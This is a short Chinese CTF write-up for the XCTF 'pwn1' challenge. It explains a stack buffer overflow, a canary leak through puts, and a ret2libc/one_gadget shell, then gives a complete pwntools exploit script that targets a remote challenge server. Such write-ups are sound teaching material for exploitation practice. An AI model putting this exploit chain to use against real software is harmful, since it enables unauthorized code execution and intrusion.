pwn1(xctf)
程序员文章站
2022-05-15 20:24:29
...
0x0 程序保护和流程
保护:
流程:
输入1能够读入长度为0x100的字符串到s而s距离rbp的距离为0x90存在明显的栈溢出,输入2能够输出s,输入3则退出程序。
0x1 利用过程
1.因为程序保护中开启了canary所以直接进行栈溢出就会触发canary。所以可以利用puts函数的特性一直输出字符直到遇到**\x00**,将canary的值输出出来。当输入0x87*‘a’+’/n’时不会有多余数据输出,而当输入0x88*‘a’+’/n’就会有多余数据输出,说明canary中有**\x00**。
2.获得canary的值之后就可以进行栈溢出了。有两种方法进行溢出,第一种是直接使用one_gadget在libc中查出的地址进行getshell,第二种是利用system函数进行getshell。但是第二种方法在服务器上不能够getshell。
0x2 exp
from pwn import *
context.log_level = 'debug'
local=0
if local:
sh=process('./a')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget=0x45226
else:
sh=remote('220.249.52.133','51236')
libc=ELF('./libc-2.23.so')
one_gadget=0x45216
elf=ELF('./a')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
puts_libc=libc.symbols['puts']
system_libc=libc.symbols['system']
bin_sh_libc=libc.search("/bin/sh").next()
main_addr=0x400908
rdi_addr=0x400a93
def store(strings):
sh.sendlineafter('>> ','1')
sh.sendline(strings)
def puts():
sh.sendlineafter('>> ','2')
def exits():
sh.sendlineafter('>> ','3')
payload='a'*0x88
store(payload)
puts()
sh.recvuntil('\n')
canary=u64(sh.recv(7).rjust(8,'\x00'))
payload='a'*0x88+p64(canary)+'a'*8+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
store(payload)
exits()
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
offset=puts_addr-puts_libc
system_addr=offset+system_libc
bin_sh_addr=offset+bin_sh_libc
one_gadget_addr=offset+one_gadget
payload='a'*0x88+p64(canary)+'a'*8+p64(one_gadget_addr)
# payload='a'*0x88+p64(canary)+'a'*8+p64(rdi_addr)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
store(payload)
exits()
sh.interactive()